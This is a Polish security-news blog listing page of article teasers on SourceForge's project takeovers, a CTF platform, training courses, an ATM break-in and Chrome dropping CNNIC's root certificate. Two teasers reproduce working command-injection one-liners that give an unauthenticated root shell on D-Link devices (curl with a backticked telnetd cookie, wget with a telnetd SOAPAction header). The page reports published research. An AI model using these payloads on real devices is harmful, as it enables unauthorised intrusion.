Ostatnio Sourceforge przejmuje na swojej platformie konta znanych projektów. Jakiś czas temu był to GIMP (tutaj SF dodawało do instalatora GIMP-a własny ad-ware/pay-ware), parę dni temu nmap (!). Dołączają też inne znane projekty, 14-czerwca wymigrował z Sourceforge Notepad++, tłumacząc to po prostu tak: SourceForge was a good place; unfortunately, sometimes…
Czytaj dalej »
Peter Adkins umieścił na githubie swoje badania nad inteligentnym gniazdkiem elektrycznym D-Linka (DSP-W110). Nie będę jeszcze raz wszystkiego przepisywał z oryginalnego researchu ;) ale odpalenie shella wygląda tu bajecznie prosto: # Spawn a root shell (telnet) curl \ –cookie „terribleness=\`telnetd -l/bin/sh\`” \ 192.168.1.3 Podobnie wygląda historia z uploadem dowolnego…
Czytaj dalej »
Zwróciła się do nas pewna firma z prośba o pewną promocję ich inicjatywy. Z naszej strony padła propozycja organizacji konkursu na rozwal.to (swoją drogą mamy tu już prawie 900 aktywnych kont!). I mamy na to zielone światło. Pula nagród, która jest tu do wykorzystania to 2 200 PLN – które…
Czytaj dalej »
Mamy dla Was relatywnie nową propozycję szkoleniową: 2-dniowe autorskie warsztaty z obszaru technicznego monitoringu bezpieczeństwa IT. Temat wydaje się być mocno na czasie, biorąc pod uwagę choćby ostatnie doniesienia kolegów z z3s.pl. Warsztaty prowadzi Przemek Skowron, wcześniej odpowiedzialny m.in. za stworzenie zespołu CSIRT dla Grupy Alior Bank. Przemek posiada już co…
Czytaj dalej »
Już 8.06.2015 na spotkaniu WrotQA (wrocławska grupa testerów) będzie można zobaczyć naszą prezentację o bezpieczeństwie aplikacji www. Na żywo pokazanych będzie kilka nietypowych (choć krytycznych) podatności w aplikacjach webowych: m.in. niedawno zlokalizowane krytyczne błędy w Nuxeo (temat ten prezentowałem po raz pierwszy tydzień temu na konferencji Confidence). Całość pokazywana będzie…
Czytaj dalej »
Niedługo (22-23.06.2015) rusza w Krakowie druga edycja szkolenia: Offensive HTML, SVG, CSS and other Browser-Evil. O samym szkoleniu już pisaliśmy jakiś czas temu przy okazji pierwszej edycji tego kursu. Warto tu przypomnieć, że całość prowadzi światowej renomy badacz bezpieczeństwa – Mario Heiderich. A podsumowując – jest to propozycja przeznaczona dla…
Czytaj dalej »
Niedawno pisaliśmy o nowych D-Linkach, a teraz pojawiło się ciekawe badanie pokazujące w jaki sposób zrealizować nieuwierzytelniony dostęp na root-a. Wystarczy jeden prosty request HTTP… wget –header=’SOAPAction: „http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`”’ http://192.168.0.1/HNAP1 $ telnet 192.168.0.1 Trying 192.168.0.1… Connected to 192.168.0.1. Escape character is '^]’. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter…
Czytaj dalej »
Nie potrzeba tu zbyt wiele komentować. Warto jednak przyznać, że oprogramowanie z tytułu notki, przy instalacji lojalnie uprzedza, że trzeba zrestartować komputer, żeby UAC wyłączył się na trwale. Ale umówmy się – kto czyta komunikaty przy instalacji oprogramowania? A co więcej, kto ze zwykłych użytkowników je rozumie? ;-) –ms
Czytaj dalej »
W naszej platformie hackme / CTF – rozwal.to – mamy już niemal wszystko: domenę, logo, grafikę, 40 pierwszych flag do zdobycia i prawie 80 użytkowników którzy obecnie biorą udział w betatestach. Obecnie cięte są grafiki a w przyszłym tygodniu będą integrowane w platformę. Za około 3 tygodnie możecie się więc…
Czytaj dalej »
Brian Krebs opisuje ciekawy przypadek 'hackowania’ bankomatu. Mimo że fizyczne ataki na tego typu urządzenia nie są niczym nowym, to jednak profesjonalni przestępcy zazwyczaj robią to bardziej wyrafinowanymi narzędziami (jak choćby palnikami). Tym razem jednak użyto tradycyjnego brute force z wykorzystaniem narzędzi typu łom czy młot: Koszt zniszczeń samych…
Czytaj dalej »
W ostatnim czasie reaktywowaliśmy nasze prezentacje na polskich konferencjach i spotkaniach: koniec zeszłego roku – Secure (prezentacja dostała #1 miejsce za merytorykę, wyprzedzając nawet Mikko Hypponen-a – choć bez ściemy: sami nie czujemy się mocniejsi merytorycznie niż Mikko), niedawna prezentacja na poznańskim Ptaq, oraz tegorocznym Semaforze. Będziemy też niedługo z…
Czytaj dalej »
Ostatnio pisaliśmy o unieważnieniu certyfikatów SSL firmy MCS Holding. Przypominam – chodziło o podstawianie certyfikatów, aby podszyć się pod domeny Google (bez komunikatów o błędach w przeglądarce). Teraz Google idzie dalej i usunie w Chrome certyfikat root CA organizacji CNNIC – ze zbioru certyfikatów zaufanych (organizacja ta wydała „feralny” certyfikat…
Czytaj dalej »
Około roku temu ukazała się wersja trzecia standardu PCI-DSS (w skrócie: standard bezpieczeństwa narzucany firmom obsługującym karty płatnicze). Teraz został opublikowany dość szczegółowy dokument opisujący jak powinny wyglądać testy penetracyjne, które opisane są w samym standardzie. Dokładnie chodzi tutaj o wymaganie 11.3: Na czerwono zaznaczyłem przy okazji informację, która mówi…
Czytaj dalej »
Nasza platforma CTF/hackme jest już rozwijana w trybie beta od dłuższego czasu (można poprosić jeszcze o dostęp). Dzisiaj mamy już wersję beta grafiki. Niedługo całość dostępna będzie dla wszystkich :-) –ms
Czytaj dalej »
Zapraszamy na dwa mocno techniczne szkolenia organizowane przez Securitum: Warsztatowy kurs przygotowujący do CEHv8 (Certified Ethical Hacker) – (Warszawa, 13-17 kwietnia 2015). Mamy tutaj 5 dni dosłownie po brzegi wypełnione ćwiczeniami, a opinie odnośnie kursu też są całkiem dobre (reszta na stronie szkolenia): Szkolenie przygotowujące do egzaminu CEH prowadzone przez…
Czytaj dalej »
